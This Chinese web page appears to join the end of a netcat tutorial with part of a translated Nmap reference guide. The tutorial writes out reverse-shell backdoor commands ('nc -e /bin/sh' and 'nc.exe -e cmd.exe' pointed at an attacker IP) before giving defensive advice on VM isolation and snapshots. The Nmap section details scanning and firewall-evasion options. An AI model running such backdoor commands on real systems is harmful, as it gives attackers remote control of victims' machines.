    既然 nc 的服务端与客户端对调,因此攻击者要先在自己机器上运行服务端 nc,命令如下(其中的 xxx 是端口号)。当然啦,攻击者自己电脑的防火墙需要允许 xxx 端口号对外监听:

    nc -lk -p xxx

    步骤2
    如果受害者是 Windows 系统,只须如下命令就可以开启一个后门:

    nc.exe -e cmd.exe x.x.x.x xxx  

    如果受害者是 POSIX 系统,则用如下命令:

    nc -e /bin/sh x.x.x.x xxx  

    (在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

    比NAT 模式更保险的是:隔离模式的虚拟机

    所谓的隔离模式,指的是Host Only 模式或类似的模式(比如:Internal 模式)。

    有必要提醒一下:
    隔离的虚拟机可以增加入侵者的攻击难度,但不能做到 100% 防范。只要能在某个隔离虚拟机中上网,那么那些足够高级的木马,就有可能在隔离虚拟机中找到对外连接的通道。从而实现一个主动连接型的后门。

    那么该怎么办?  
    在安全方面,虚拟机有两个显著好处:网络隔离性只是其中之一,另一个就是快照。
    如果你对安全性的要求非常高,就要学会:

    1. 用快照功能建立安全基线
      所谓的安全基线就是:在确保系统纯洁的时候,先做一个快照
    2. 养成定期回退快照的好习惯
      这样就算你中了木马,只要一回退到安全基线,系统就重新变得纯洁

    主动连接型后门的危险性之处

    简单对比一下后门的两种连接方式。

    可用性
    如果用被动型后门入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡并未分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,主动型后门就没有这种弊端。

    隐蔽性
    被动型后门需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,主动型后门就没有这个问题。

    netcat 的其它变种

    本文开头部分已经介绍了原版 nc以及OpenBSD 变种。在结尾部分,简单聊聊其它几个变种。

    GNU netcat[官网]

    从名称可以猜出:这是 GNU 社区对原版 nc的重写,以符合 GPL 许可协议。按照官网的说法,GNU netcat100% 兼容原版 nc的 1.10 版本。(注:1.10 版本是原版 nc用得最广的版本)

    ◇ncat[官网]

    这是 nmap 社区重写的 nc,它的口号是:Ncat – Netcat for the 21st Century,与OpenBSD 变种类似,它也增加了代理的支持。相比OpenBSD 变种,它的主要亮点是:完全支持 SSL/TLS。由于它源自 nmap 社区,已经被包含在 nmap 软件包中(大多数 Linux & BSD 发行版的官方仓库都有 nmap)。

    socat

    在所有的变种里面,这款可能是功能最强的,但使用方法也有很大的不同(更复杂了)。感觉像是另一个全新的软件。很多主流的 Linux 发行版已经包含它,也完全支持 SSL/TLS。

    Cryptcat

    一看名称就能猜到:这是加密的网猫,由于大部分网猫都是直接在裸 TCP之上传输数据。如果传输的内容本身是明文,会遭遇网络嗅探的风险。

    这款变种在传输过程中用 twofish 算法加密,以规避嗅探。

    sbd

    光看这3字母的名称,你可能不知道这款变种的特色。但如果俺告诉你:sbd是Secure BackDoor的缩写,你多半就猜到其特色了。它的加密采用AES-128-CBC + HMAC-SHA1。

    netrw

    这是专门针对文件传输功能进行强化和简化的变种。

    简化方面
    它分成两个命令:netread 和 netwrite,分别对应发送和接收。(相对原版 nc)省了几个命令选项。
    强化方面
    它会对传输过程进行散列校验,以防止传输的数据被篡改。

  • Nmap参考指南

    Nmap参考指南

    概述

    Nmap(“Network Mapper(网络映射器)”)是一款开放源代码的网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息),它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核,许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息,管理服务升级计划,以及监视主机和服务的运行。

    Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。“所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是open(开放的),filtered(被过滤的),closed(关闭的),或者unfiltered(未被过滤的)。Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。filtered(被过滤的)意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知它是open(开放的)还是closed(关闭的)。closed(关闭的)端口没有应用程序在它上面监听,但是他们随时可能开放。当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是unfiltered(未被过滤的)如果Nmap报告状态组合open|filteredclosed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时(-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。

    除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

    一个典型的Nmap扫描如下例所示。在这个例子中,唯一的选项是-A,用来进行操作系统及其版本的探测,-T4可以加快执行速度,接着是两个目标主机名。

    # nmap -A -T4 scanme.nmap.org playground
    
    Starting nmap ( https://nmap.org/ )
    Interesting ports on scanme.nmap.org (205.217.153.62):
    (The 1663 ports scanned but not shown below are in state: filtered)
    port    STATE  SERVICE VERSION
    22/tcp  open   ssh     OpenSSH 3.9p1 (protocol 1.99)
    53/tcp  open   domain
    70/tcp  closed gopher
    80/tcp  open   http    Apache httpd 2.0.52 ((Fedora))
    113/tcp closed auth
    Device type: general purpose
    Running: Linux 2.4.X|2.5.X|2.6.X
    OS details: Linux 2.4.7 - 2.6.11,Linux 2.6.0 - 2.6.11
    Uptime 33。908 days (since Thu Jul 21 03:38:03 2005)
    
    Interesting ports on playground。nmap。或者g (192.168.0.40):
    (The 1659 ports scanned but not shown below are in state: closed)
    port     STATE SERVICE       VERSION
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn
    389/tcp  open  ldap?
    445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
    1002/tcp open  windows-icfw?
    1025/tcp open  msrpc         Microsoft Windows RPC
    1720/tcp open  H.323/Q.931   CompTek AquaGateKeeper
    5800/tcp open  vnc-http      RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900)
    5900/tcp open  vnc           VNC (protocol 3.8)
    MAC Address: 00:A0:CC:63:85:4B (Lite-on Communications)
    Device type: general purpose
    Running: Microsoft Windows NT/2K/XP
    OS details: Microsoft Windows XP Pro RC1+ through final release
    Service Info: OSs: Windows,Windows XP
    
    Nmap finished: 2 IP addresses (2 hosts up) scanned in 88.392 seconds

    选项概要

    当Nmap不带选项运行时,该选项概要会被输出,它帮助人们记住最常用的选项,但不能替代本手册[latest]其余深入的文档,一些晦涩的选项甚至不在这里。

    Usage: nmap [Scan Type(s)] [Options] {target specification}
    TARGET SPECIFICATION:
      Can pass hostnames, IP addresses, networks, etc.
      Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0-255.0-255.1-254
      -iL <inputfilename>: Input from list of hosts/networks
      -iR <num hosts>: Choose random targets
      --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
      --excludefile <exclude_file>: Exclude list from file
    HOST DISCOVERY:
      -sL: List Scan - simply list targets to scan
      -sP: Ping Scan - go no further than determining if host is online
      -P0: Treat all hosts as online -- skip host discovery
      -PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery probes to given ports
      -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
      -n/-R: Never do DNS resolution/Always resolve [default: sometimes resolve]
    SCAN TECHNIQUES:
      -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
      -sN/sF/sX: TCP Null, FIN, and Xmas scans
      --scanflags <flags>: Customize TCP scan flags
      -sI <zombie host[:probeport]>: Idlescan
      -sO: IP protocol scan
      -b <ftp relay host>: FTP bounce scan
    PORT SPECIFICATION AND SCAN ORDER:
      -p <port ranges>: Only scan specified ports
        Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
      -F: Fast - Scan only the ports listed in the nmap-services file)
      -r: Scan ports sequentially - don't randomize
    SERVICE/VERSION DETECTION:
      -sV: Probe open ports to determine service/version info
      --version-light: Limit to most likely probes for faster identification
      --version-all: Try every single probe for version detection
      --version-trace: Show detailed version scan activity (for debugging)
    OS DETECTION:
      -O: Enable OS detection
      --osscan-limit: Limit OS detection to promising targets
      --osscan-guess: Guess OS more aggressively
    TIMING AND PERFORMANCE:
      -T[0-6]: Set timing template (higher is faster)
      --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
      --min-parallelism/max-parallelism <numprobes>: Probe parallelization
      --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Specifies
          probe round trip time.
      --host-timeout <msec>: Give up on target after this long
      --scan-delay/--max-scan-delay <msec>: Adjust delay between probes
    FIREWALL/IDS EVASION AND SPOOFING:
      -f; --mtu <val>: fragment packets (optionally w/given MTU)
      -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
      -S <IP_Address>: Spoof source address
      -e <iface>: Use specified interface
      -g/--source-port <portnum>: Use given port number
      --data-length <num>: Append random data to sent packets
      --ttl <val>: Set IP time-to-live field
      --spoof-mac <mac address, prefix, or vendor name>: Spoof your MAC address
    OUTPUT:
      -oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
         and Grepable format, respectively, to the given filename.
      -oA <basename>: Output in the three major formats at once
      -v: Increase verbosity level (use twice for more effect)
      -d[level]: Set or increase debugging level (Up to 9 is meaningful)
      --packet-trace: Show all packets sent and received
      --iflist: Print host interfaces and routes (for debugging)
      --append-output: Append to rather than clobber specified output files
      --resume <filename>: Resume an aborted scan
      --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
      --no-stylesheet: Prevent Nmap from associating XSL stylesheet w/XML output
    MISC:
      -6: Enable IPv6 scanning
      -A: Enables OS detection and Version detection
      --datadir <dirname>: Specify custom Nmap data file location
      --send-eth/--send-ip: Send packets using raw ethernet frames or IP packets
      --privileged: Assume that the user is fully privileged
      -V: Print version number
      -h: Print this help summary page.
    EXAMPLES:
      nmap -v -A scanme.nmap.org
      nmap -v -sP 192.168.0.0/16 10.0.0.0/8
      nmap -v -iR 10000 -P0 -p 80

    目标说明

    除了选项,所有出现在Nmap命令行上的都被视为对目标主机的说明。最简单的情况是指定一个目标IP地址或主机名。

    有时候您希望扫描整个网络的相邻主机。为此,Nmap支持CIDR风格的地址。您可以附加一个/<numbit>在一个IP地址或主机名后面,Nmap将会扫描所有和该参考IP地址具有<numbit>相同比特的所有IP地址或主机。例如,192.168.10.0/24将会扫描192.168.10.0(二进制格式:11000000 10101000 00001010 00000000)和192.168.10.255(二进制格式:11000000 10101000 00001010 11111111)之间的256台主机。192.168.10.40/24将会做同样的事情。假设主机scanme.nmap.org的IP地址是205.217.153.62,scanme.nmap.org/16将扫描205.217.0.0和205.217.255.255之间的65,536个IP地址。所允许的最小值是/1,这将会扫描半个互联网。最大值是/32,这将会扫描该主机或IP地址,因为所有的比特都固定了。

    CIDR标志位很简洁但有时候不够灵活。例如,您也许想要扫描192.168.0.0/16,但略过任何以.0或者.255结束的IP地址,因为它们通常是广播地址。Nmap通过八位字节地址范围支持这样的扫描,您可以用,分开的数字或范围列表为IP地址的每个八位字节指定它的范围。例如,192.168.0-255.1-254将略过在该范围内以.0和.255结束的地址。范围不必限于最后的8位:0-255.0-255.13.37将在整个互联网范围内扫描所有以13.37结束的地址。这种大范围的扫描对互联网调查研究也许有用。

    IPv6地址只能用规范的IPv6地址或主机名指定。CIDR和八位字节范围不支持IPv6,因为它们对于IPv6几乎没什么用。

    Nmap命令行接受多个主机说明,它们不必是相同类型。命令

    nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.0-255

    将和您预期的一样执行。

    虽然目标通常在命令行指定,下列选项也可用来控制目标的选择:

    -iL <inputfilename> (从列表中输入)

    <inputfilename>中读取目标说明。在命令行输入一堆主机名显得很笨拙,然而经常需要这样。例如,您的DHCP服务器可能导出10,000个当前租约的列表,而您希望对它们进行扫描。如果您不是使用未授权的静态IP来定位主机,或许您想要扫描所有IP地址。只要生成要扫描的主机的列表,用-iL把文件名作为选项传给Nmap。列表中的项可以是Nmap在命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6,或者八位字节范围)。每一项必须以一个或多个空格,制表符或换行符分开。如果您希望Nmap从标准输入而不是实际文件读取列表,您可以用一个连字符(-)作为文件名。

    -iR <hostnum> (随机选择目标)

    对于互联网范围内的调查和研究,您也许想随机地选择目标。<hostnum>选项告诉Nmap生成多少个IP。不合需要的IP如特定的私有,组播或者未分配的地址自动略过。选项0意味着永无休止的扫描。记住,一些网管对于未授权的扫描可能会很感冒并加以抱怨。使用该选项的后果自负!如果在某个雨天的下午,您觉得实在无聊,试试这个命令nmap -sS -PS80 -iR 0 -p 80随机地找一些网站浏览。

    --exclude <host1[,host2][,host3],...> (排除主机/网络)

    如果在您指定的扫描范围有一些主机或网络不是您的目标,那就用该选项加上以逗号分隔的列表排除它们。该列表用正常的Nmap语法,因此它可以包括主机名,CIDR,八位字节范围等等。当您希望扫描的网络包含执行关键任务的服务器,已知的对端口扫描反应强烈的系统或者被其它人看管的子网时,这也许有用。

    --excludefile <excludefile> (排除文件中的列表)

    这和--exclude选项的功能一样,只是所排除的目标是用以换行符,空格,或者制表符分隔的<excludefile>提供的,而不是在命令行上输入的。

    主机发现

    任何网络探测任务的最初几个步骤之一就是把一组IP范围(有时该范围是巨大的)缩小为一列活动的或者您感兴趣的主机。扫描每个IP的每个端口很慢,通常也没必要。当然,什么样的主机令您感兴趣主要依赖于扫描的目的。网管也许只对运行特定服务的主机感兴趣,而从事安全的人士则可能对一个马桶都感兴趣,只要它有IP地址 🙂 。一个系统管理员也许仅仅使用Ping来定位内网上的主机,而一个外部入侵测试人员则可能绞尽脑汁用各种方法试图突破防火墙的封锁。

    由于主机发现的需求五花八门,Nmap提供了一箩筐的选项来定制您的需求。主机发现有时候也叫做ping扫描,但它远远超越用世人皆知的ping工具:发送简单的ICMP echo请求报文。用户完全可以通过使用列表扫描(-sL)或者通过关闭ping (-P0)跳过ping的步骤,也可以使用多个端口把TCP SYN/ACK,UDP和ICMP任意组合起来玩一玩。这些探测的目的是获得响应以显示某个IP地址是否是活动的(正在被某主机或者网络设备使用)。在许多网络上,在给定的时间,往往只有小部分的IP地址是活动的。这种情况在基于RFC1918的私有地址空间如10.0.0.0/8尤其普遍。那个网络有16,000,000个IP,但我见过一些使用它的公司连1000台机器都没有。主机发现能够找到零星分布于IP地址海洋上的那些机器。

    如果没有给出主机发现的选项,Nmap就发送一个TCP SYN报文到443端口,一个TCP ACK报文到80端口和一个ICMP echo请求到每台目标机器。一个例外是ARP扫描用于局域网上的任何目标机器。对于非特权UNIX shell用户,使用connect()系统调用会发送一个SYN报文而不是ACK这些默认行为和使用-PA -PE选项的效果相同。扫描局域网时,这种主机发现一般够用了,但是对于安全审核,建议进行更加全面的探测。

    -P*选项(用于选择ping的类型)可以被结合使用。您可以通过使用不同的TCP端口/标志位和ICMP码发送许多探测报文来增加穿透防守严密的防火墙的机会。另外要注意的是即使您指定了其它-P*选项,ARP发现(-PR)对于局域网上的目标而言是默认行为,因为它总是更快更有效。

    下列选项控制主机发现:

    -sL (列表扫描)

    列表扫描是主机发现的退化形式,它仅仅列出指定网络上的每台主机,不发送任何报文到目标主机。默认情况下,Nmap仍然对主机进行反向域名解析以获取它们的名字。简单的主机名能给出的有用信息常常令人惊讶。例如,fw.chi.playboy.com是花花公子芝加哥办公室的防火墙。Nmap最后还会报告IP地址的总数。列表扫描可以很好的确保您拥有正确的目标IP。如果主机的域名出乎您的意料,那么就值得进一步检查以防错误地扫描其它组织的网络。

    既然只是打印目标主机的列表,像其它一些高级功能如端口扫描,操作系统探测或者Ping扫描的选项就没有了。如果您希望关闭ping扫描而仍然执行这样的高级功能,请继续阅读关于-P0选项的介绍。

    -sP (Ping扫描)

    该选项告诉Nmap仅仅进行ping扫描(主机发现),然后打印出对扫描做出响应的那些主机。没有进一步的测试(如端口扫描或者操作系统探测)。这比列表扫描更积极,常常用于和列表扫描相同的目的。它可以得到些许目标网络的信息而不被特别注意到。对于攻击者来说,了解多少主机正在运行比列表扫描提供的一列IP和主机名往往更有价值。

    系统管理员往往也很喜欢这个选项。它可以很方便地得出网络上有多少机器正在运行或者监视服务器是否正常运行。常常有人称它为地毯式ping,它比ping广播地址更可靠,因为许多主机对广播请求不响应。

    -sP选项在默认情况下,发送一个ICMP echo请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文(用connect()系统调用)到目标机的80端口。当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR),除非使用了--send-ip选项。-sP选项可以和除-P0之外的任何发现探测类型-P*选项结合使用以达到更大的灵活性。一旦使用了任何探测类型和端口选项,默认的探测(ACK和回应请求)就被覆盖了。当防守严密的防火墙位于运行Nmap的源主机和目标网络之间时,推荐使用那些高级选项。否则,当防火墙捕获并丢弃探测包或者响应包时,一些主机就不能被探测到。

    -P0 (无ping)

    该选项完全跳过Nmap发现阶段。通常Nmap在进行高强度的扫描时用它确定正在运行的机器。默认情况下,Nmap只对正在运行的主机进行高强度的探测如端口扫描,版本探测,或者操作系统探测。用-P0禁止主机发现会使Nmap对每一个指定的目标IP地址进行所要求的扫描。所以如果在命令行指定一个B类目标地址空间(/16),所有65,536个IP地址都会被扫描。-P0的第二个字符是数字0而不是字母O。和列表扫描一样,跳过正常的主机发现,但不是打印一个目标列表,而是继续执行所要求的功能,就好像每个IP都是活动的。

    -PS [portlist] (TCP SYN Ping)

    该选项发送一个设置了SYN标志位的空TCP报文。默认目的端口为80,可以通过改变nmap.h文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。甚至可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80,113,1050,35000),在这种情况下,每个端口会被并发地扫描。

    SYN标志位告诉对方您正试图建立一个连接。通常目标端口是关闭的,一个RST(复位)包会发回来。如果碰巧端口是开放的,目标会进行TCP三步握手的第二步,回应一个SYN/ACK TCP报文。然后运行Nmap的机器则会扼杀这个正在建立的连接,发送一个RST而非ACK报文,否则,一个完全的连接将会建立。RST报文是运行Nmap的机器而不是Nmap本身响应的,因为它对收到的SYN/ACK感到很意外。

    Nmap并不关心端口开放还是关闭。无论RST还是SYN/ACK响应都告诉Nmap该主机正在运行。

    在UNIX机器上,通常只有特权用户root才能发送和接收原始的TCP报文。因此作为一个变通的方法,对于非特权用户,Nmap会为每个目标主机进行系统调用connect(),它也会发送一个SYN报文来尝试建立连接。如果connect()迅速返回成功或者一个ECONNREFUSED失败,下面的TCP堆栈一定已经收到了一个SYN/ACK或者RST,该主机将被标志位为在运行。如果连接超时了,该主机就标志位为down掉了。这种方法也用于IPv6连接,因为Nmap目前还不支持原始的IPv6报文。

    -PA [portlist] (TCP ACK Ping)

    TCP ACK ping和刚才讨论的SYN ping相当类似。也许您已经猜到了,区别就是设置TCP的ACK标志位而不是SYN标志位。ACK报文表示确认一个建立连接的尝试,但该连接尚未完全建立。所以远程主机应该总是回应一个RST报文,因为它们并没有发出过连接请求到运行Nmap的机器,如果它们正在运行的话。

    -PA选项使用和SYN探测相同的默认端口(80),也可以用相同的格式指定目标端口列表。如果非特权用户尝试该功能,或者指定的是IPv6目标,前面说过的connect()方法将被使用。这个方法并不完美,因为它实际上发送的是SYN报文,而不是ACK报文。

    提供SYN和ACK两种ping探测的原因是使通过防火墙的机会尽可能大。许多管理员会配置他们的路由器或者其它简单的防火墙来封锁SYN报文,除非连接目标是那些公开的服务器像公司网站或者邮件服务器。这可以阻止其它进入组织的连接,同时也允许用户访问互联网。这种无状态的方法几乎不占用防火墙/路由器的资源,因而被硬件和软件过滤器广泛支持。Linux Netfilter/iptables防火墙软件提供方便的--syn选项来实现这种无状态的方法。当这样的无状态防火墙规则存在时,发送到关闭目标端口的SYN ping探测 (-PS) 很可能被封锁。这种情况下,ACK探测格外有闪光点,因为它正好利用了这样的规则

    另外一种常用的防火墙用有状态的规则来封锁非预期的报文。这一特性已开始只存在于高端防火墙,但是这些年类它越来越普遍了。Linux Netfilter/iptables通过--state选项支持这一特性,它根据连接状态把报文进行分类。SYN探测更有可能用于这样的系统,由于没头没脑的ACK报文通常会被识别成伪造的而丢弃。解决这个两难的方法是通过即指定-PS又指定-PA来即发送SYN又发送ACK。

    -PU [portlist] (UDP Ping)

    还有一个主机发现的选项是UDP ping,它发送一个空的(除非指定了--data-length)UDP报文到给定的端口。端口列表的格式和前面讨论过的-PS-PA选项还是一样。如果不指定端口,默认是31338。该默认值可以通过在编译时改变nmap.h文件中的DEFAULT-UDP-PROBE-PORT值进行配置。默认使用这样一个奇怪的端口是因为对开放端口进行这种扫描一般都不受欢迎。

    如果目标机器的端口是关闭的,UDP探测应该马上得到一个ICMP端口无法到达的回应报文。这对于Nmap意味着该机器正在运行。许多其它类型的ICMP错误,像主机/网络无法到达或者TTL超时则表示down掉的或者不可到达的主机。没有回应也被这样解释。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。这就是为什么默认探测端口是31338这样一个极不可能被使用的端口。少数服务如chargen会响应一个空的UDP报文,从而向Nmap表明该机器正在运行。

    该扫描类型的主要优势是它可以穿越只过滤TCP的防火墙和过滤器。例如,我曾经有过一个Linksys BEFW11S4无线宽带路由器。默认情况下,该设备对外的网卡过滤所有TCP端口,但UDP探测仍然会引发一个端口不可到达的消息,从而暴露了它自己。

    -PE; -PP; -PM (ICMP Ping Types)

    除了前面讨论的这些不常见的TCP和UDP主机发现类型,Nmap也能发送世人皆知的ping程序所发送的报文。Nmap发送一个ICMP type 8 (echo请求)报文到目标IP地址,期待从运行的主机得到一个type 0 (echo响应)报文。对于网络探索者而言,不幸的是,许多主机和防火墙现在封锁这些报文,而不是按期望的那样响应,参见RFC 1122。因此,仅仅ICMP扫描对于互联网上的目标通常是不够的。但对于系统管理员监视一个内部网络,它们可能是实际有效的途径。使用-PE选项打开该echo请求功能。

    虽然echo请求是标准的ICMP ping查询,Nmap并不止于此。ICMP标准(RFC 792)还规范了时间戳请求,信息请求request,和地址掩码请求,它们的代码分别是13,15和17。虽然这些查询的表面目的是获取信息如地址掩码和当前时间,它们也可以很容易地用于主机发现。很简单,回应的系统就是在运行的系统。Nmap目前没有实现信息请求报文,因为它们还没有被广泛支持。RFC 1122坚持“主机不应该实现这些消息”。时间戳和地址掩码查询可以分别用-PP-PM选项发送。时间戳响应ICMP代码14)或者地址掩码响应(代码18)表示主机在运行。当管理员特别封锁了echo请求报文而忘了其它ICMP查询可能用于相同目的时,这两个查询可能很有价值。

    -PR (ARP Ping)

    最常见的Nmap使用场景之一是扫描一个以太局域网。在大部分局域网上,特别是那些使用基于RFC1918私有地址范围的网络,在一个给定的时间绝大部分IP地址都是不使用的。当Nmap试图发送一个原始IP报文如ICMP echo请求时,操作系统必须确定对应于目标IP的硬件地址(ARP),这样它才能把以太帧送往正确的地址。这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内对没有运行的机器作几百万次的ARP请求。

    当进行ARP扫描时,Nmap用它优化的算法管理ARP请求。当它收到响应时,Nmap甚至不需要担心基于IP的ping报文,既然它已经知道该主机正在运行了。这使得ARP扫描比基于IP的扫描更快更可靠。所以默认情况下,如果Nmap发现目标主机就在它所在的局域网上,它会进行ARP扫描。即使指定了不同的ping类型(如-PI或者-PS),Nmap也会对任何相同局域网上的目标机使用ARP。如果您真的不想要ARP扫描,指定--send-ip

    -n (不用域名解析)

    告诉Nmap永不对它发现的活动IP地址进行反向域名解析。既然DNS一般比较慢,这可以让事情更快些。

    -R (为所有目标解析域名)

    告诉Nmap永远对目标IP地址作反向域名解析。一般只有当发现机器正在运行时才进行这项操作。

    --system-dns (使用系统域名解析器)

    默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器来解析域名。为了提高性能,许多请求(一般几十个)并发执行。如果您希望使用系统自带的解析器,就指定该选项(通过getnameinfo()调用一次解析一个IP)。除非Nmap的DNS代码有bug–如果是这样,请联系我们。一般不使用该选项,因为它慢多了。系统解析器总是用于IPv6扫描。

    端口扫描基础

    虽然Nmap这些年来功能越来越多,它也是从一个高效的端口扫描器开始的,并且那仍然是它的核心功能。nmap <target>这个简单的命令扫描主机<target>上的超过1660个TCP端口。许多传统的端口扫描器只列出所有端口是开放还是关闭的,Nmap的信息粒度比它们要细得多。它把端口分成六个状态:open(开放的),closed(关闭的),filtered(被过滤的),unfiltered(未被过滤的),open|filtered(开放或者被过滤的),或者closed|filtered(关闭或者被过滤的)

    这些状态并非端口本身的性质,而是描述Nmap怎样看待它们。例如,对于同样的目标机器的135/tcp端口,从同网络扫描显示它是开放的,而跨网络作完全相同的扫描则可能显示它是filtered(被过滤的)。

    Nmap所识别的6个端口状态

    • open(开放的)

    应用程序正在该端口接收TCP连接或者UDP报文。发现这一点常常是端口扫描的主要目标。安全意识强的人们知道每个开放的端口都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。

    • closed(关闭的)

    关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应),但没有应用程序在其上监听。它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行up也对部分操作系统探测有所帮助。因为关闭的端口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。系统管理员可能会考虑用防火墙封锁这样的端口。那样他们就会被显示为被过滤的状态,下面讨论。

    • filtered(被过滤的)

    由于包过滤阻止探测报文到达端口,Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供任何信息。有时候它们响应ICMP错误消息如类型3代码13(无法到达目标:通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧,不做任何响应。这迫使Nmap重试若干次以访万一探测包是由于网络阻塞丢弃的。这使得扫描速度明显变慢。

    • unfiltered(未被过滤的)

    未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定端口是否开放。

    • open|filtered(开放或者被过滤的)

    当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。UDP,IP协议,FIN,Null,和Xmas扫描可能把端口归入此类。

    • closed|filtered(关闭或者被过滤的)

    该状态用于Nmap不能确定端口是关闭的还是被过滤的,它只可能出现在IPID Idle扫描中。

    端口扫描技术

    作为一个修车新手,我可能折腾几个小时来摸索怎样把基本工具(锤子,胶带,扳子等)用于手头的任务。当我惨痛地失败,把我的老爷车拖到一个真正的技师那儿的时候,他总是在他的工具箱里翻来翻去,直到拽出一个完美的工具然后似乎不费吹灰之力搞定它。端口扫描的艺术和这个类似。专家理解成打的扫描技术,选择最适合的一种(或者组合)来完成给定的任务。另一方面,没有经验的用户和刚入门者总是用默认的SYN扫描解决每个问题。既然Nmap是免费的,掌握端口扫描的唯一障碍就是知识。这当然是汽车世界所不能比的,在那里,可能需要高超的技巧才能确定您需要一个压杆弹簧压缩机,接着您还得为它付数千美金。

    大部分扫描类型只对特权用户可用。这是因为他们发送接收原始报文,这在Unix系统需要root权限。在Windows上推荐使用administrator账户,但是当WinPcap已经被加载到操作系统时,非特权用户也可以正常使用Nmap。当Nmap在1997年发布时,需要root权限是一个严重的局限,因为很多用户只有共享的shell账户。现在,世界变了,计算机便宜了,更多人拥有互联网连接,桌面UNIX系统(包括Linux和MAC OS X)很普遍了。Windows版本的Nmap现在也有了,这使它可以运行在更多的桌面上。由于所有这些原因,用户不再需要用有限的共享shell账户运行Nmap。这是很幸运的,因为特权选项让Nmap强大得多也灵活得多。

    虽然Nmap努力产生正确的结果,但请记住所有结果都是基于目标机器(或者它们前面的防火墙)返回的报文的。这些主机也许是不值得信任的,它们可能响应以迷惑或误导Nmap的报文。更普遍的是非RFC兼容的主机以不正确的方式响应Nmap探测。FIN,Null和Xmas扫描特别容易遇到这个问题。这些是特定扫描类型的问题,因此我们在个别扫描类型里讨论它们。

    这一节讨论Nmap支持的大约十几种扫描技术。一般一次只用一种方法,除了UDP扫描(-sU)可能和任何一种TCP扫描类型结合使用。友情提示一下,端口扫描类型的选项格式是-s<C>,其中<C>是个显眼的字符,通常是第一个字符,但有一个是例外:已弃用的FTP bounce扫描(-b)。默认情况下,Nmap执行一个SYN扫描,但是如果用户没有权限发送原始报文(在UNIX上需要root权限)或者如果指定的是IPv6目标,Nmap则调用connect()。本节列出的扫描中,非特权用户只能执行connect()和ftp bounce扫描。

    -sS (TCP SYN扫描)

    SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个端口。SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的TCP协议栈。它还可以明确可靠地区分open(开放的),closed(关闭的),和filtered(被过滤的)状态。

    它常常被称为半开放扫描,因为它不打开一个完全的TCP连接。它发送一个SYN报文,就像您真的要打开一个连接,然后等待响应。SYN/ACK表示端口在监听(开放),而RST(复位)表示没有监听者。如果数次重发后仍没响应,该端口就被标记为被过滤。如果收到ICMP不可到达错误(类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

    -sT (TCP connect()扫描)

